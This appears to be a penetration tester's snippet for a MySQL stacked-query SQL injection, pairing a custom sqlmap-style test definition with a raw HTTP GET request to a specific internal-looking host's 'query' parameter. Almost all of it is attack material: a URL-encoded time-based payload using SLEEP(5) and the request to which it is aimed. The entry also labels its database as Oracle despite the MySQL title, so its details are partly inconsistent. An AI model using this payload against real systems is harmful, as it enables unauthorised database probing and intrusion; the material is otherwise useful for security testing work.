Advanced SQL Injection- MySQL > 5.0.11 stacked queries (SELECT - comment)

<test>
    <title>CUSTOM1</title>
    <stype>1</stype>
    <level>1</level>
    <risk>1</risk>
    <clause>0</clause>
    <where>3</where>
    <vector>query%29%3B%28SELECT+*+FROM+%28SELECT%28SLEEP%285%29%29%29bRCx%29%23</vector>
    <request>
        <payload>AND [RANDNUM]=[RANDNUM]</payload>
    </request>
    <response>
        <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
    </response>
    <details>
        <dbms>Oracle</dbms>
    </details>
</test>

GET http://test-agspr-as/Atti/zkau/web/_zv2014110516/js/zul.lang.wpd?query=query HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
    DNT: 1
    Connection: keep-alive
    Cookie: COOKIES
    Upgrade-Insecure-Requests: 1
    Host: test-agspr-as